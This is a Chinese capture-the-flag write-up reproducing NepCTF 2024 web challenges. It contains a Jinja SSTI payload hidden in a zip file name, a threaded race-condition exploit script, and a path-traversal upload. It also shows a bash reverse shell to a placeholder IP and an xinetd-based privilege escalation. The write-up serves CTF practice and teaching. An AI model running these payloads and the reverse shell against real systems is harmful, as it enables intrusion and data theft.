2024NepCTF web复现

TGlu 2024-09-12 11:33:02 阅读 55

NepDouble

<code> if request.method != "POST":

return 'Please use POST method to upload files.'

file_extension = files.filename.rsplit('.', 1)[-1].lower()

if file_extension != 'zip':

return 'Invalid file type. Please upload a .zip file.'

with ZipFile(files) as zip_file:

zip_file.extractall(path=unzip_folder)

files_list = []

for root, dirs, files in os.walk(unzip_folder):

for file in files:

print(file)

file_path = os.path.join(root, file)

relative_path = os.path.relpath(file_path, app.config['UPLOAD_FOLDER'])

link = f'<a href="/cat?file={relative_path}">{file}</a>'code>

files_list.append(link)

return render_template_string('<br>'.join(files_list))

查看附件的app.py时发现需要用post提交一个zip文件即可解压并返回超链接<a href="/cat?file={relative_path}">{file}</a>渲染网页,所以我们可以用脚本进行连接并上传一个带有ssti的payload的zip文件

<code>import requests

import io

import zipfile

# 创建一个内存中的字节流对象

zip_buffer = io.BytesIO()

# 使用 zipfile.ZipFile 创建 ZIP 文件

with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zip_file:

# 向ZIP文件中添加自定义文件和内容

zip_file.writestr('file1.txt', 'This is the content of file1.')

zip_file.writestr("{ {7*7}}", 'This is the content of file2.')

# 将字节流的指针移动到文件开始位置

zip_buffer.seek(0)

# 构造上传的文件数据

files = {'tp_file': ('test.zip', zip_buffer, 'application/zip')}

# 上传到服务器

url = 'https://neptune-44698.nepctf.lemonprefect.cn/'

response = requests.post(url=url, files=files, allow_redirects=False)

# 打印响应内容

print(response.text)

{ {lipsum.__globals__.os.popen('cat /flag').read()}}

蹦蹦炸弹

根据代码,整理出流程为:登入HRP用户(余额6000)->重置->获取其他用户(随机生成,余额2000)->利用多线程转账给随机生成的用户->购买admin用户的密码(密码值10000)->登入admin用户->上传文件lock.txt->执行cmd命令得到flag

由于获取admin的密码需要用到多线程提交转账请求刷取且登入admin后也无法在页面里上传文件,所以所有流程就得全部通过脚本实现(这里直接用官方给的exp)

如果运行一次脚本不行就多运行几次,可能是转账的金额还没有达到10000

登入admin

<code>import requests

import threading

import re

def transfer_to_user(session, user, amount):

transfer_url = "https://neptune-57790.nepctf.lemonprefect.cn/transfer"

data = {

"receiver": user,

"amount": amount,

"logs": "true",

}

session.post(transfer_url, data=data)

session = requests.Session()

# 登入

login_url = "https://neptune-57790.nepctf.lemonprefect.cn/login"

login_data = {

"username": "HRP",

"password": "HRP"

}

session.post(login_url, data=login_data)

# 重置

reset_url = "https://neptune-57790.nepctf.lemonprefect.cn/reset"

session.get(reset_url, data="")code>

# 获取其他用户

get_users_url = "https://neptune-57790.nepctf.lemonprefect.cn/get_users?num=1"

response = session.get(get_users_url)

first_user = response.json()["users"][0]

# 转账

threads = []

for _ in range(100):

t = threading.Thread(target=transfer_to_user, args=(session, first_user, 1000))

t.start()

threads.append(t)

for t in threads:

t.join()

print(f"Transferred 100 units to {first_user} 100 times!")

# 购买提取flag

force_buy_flag_data_url = "https://neptune-57790.nepctf.lemonprefect.cn/force_buy_flag"

force_buy_flag_data = {

"target_user": first_user

}

admin_passwd = session.post(force_buy_flag_data_url, data=force_buy_flag_data)

print(admin_passwd.text)

pattern = r'flag:\s+(.+)'

# 使用正则表达式进行匹配

matches = re.findall(pattern, admin_passwd.text)

# 提取到的匹配结果

for match in matches:

print("admin_passwd:", match)

admin_passwd = match

# 登录admin

login_url = "https://neptune-57790.nepctf.lemonprefect.cn/admin"

login_data = {"username": "admin", "password": admin_passwd}

# 发送登录POST请求

session = requests.Session()

login_response = session.post(login_url, data=login_data)

用购买的密码登入后发现上传文件没有路径继续用代码实现

上传文件

<code># 上传的文件

import os

os.system("touch lock.txt")

file_path = './lock.txt'

upload_url = 'https://neptune-57790.nepctf.lemonprefect.cn/admin/dashboard'

# 使用session对象打开文件并进行上传

with open(file_path, 'rb') as f:

files = {'file': ('../../lock.txt', f)} # Changed the file name to just 'lock.txt'

upload_response = session.post(upload_url, files=files)

# 输出服务器响应

print(upload_response.text)

 上传lock.txt文件后getshell,执行cmd命令

由于每次执行命令都需要运行所以直接反弹shell到自己的服务器上

本机:nc -lvvp 7777

目标机:bash -c "bash -i >& /dev/tcp/your_ip/7777 0>&1"

查看当前路径,目录和用户

pwd && ls && whoami

直接尝试cat /home/ctfuser/f*发现不能查看

 

查看ctfuser目录文件权限发现flag没有读写权限

ls -ahl

查看根目录下发现有一个flag.sh

发现是使flag无读写权限的文件

查看进程

ps aux

可以发现典型的中间件进程xinetd服务开启,配置文件一般在/etc中

查看/etc目录发现conf文件和一个xinetd.d目录

cd /etc

ls -ahl

查看xinetd.conf没发现有用信息,进入xinetd.d查看

查看文件发现pwnservice里的内容正是运行服务文件

 利用flag.sh中的命令给flag赋权

echo -e "#/bin/bash\nchmod 777 /home/ctfuser/f*"> start.sh && nc 127.0.0.1 8888

cat /home/ctfuser/f*

这题主要还是考察对于python脚本的理解,包括代码审计和脚本编写

PHP_MASTER!!



声明

本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。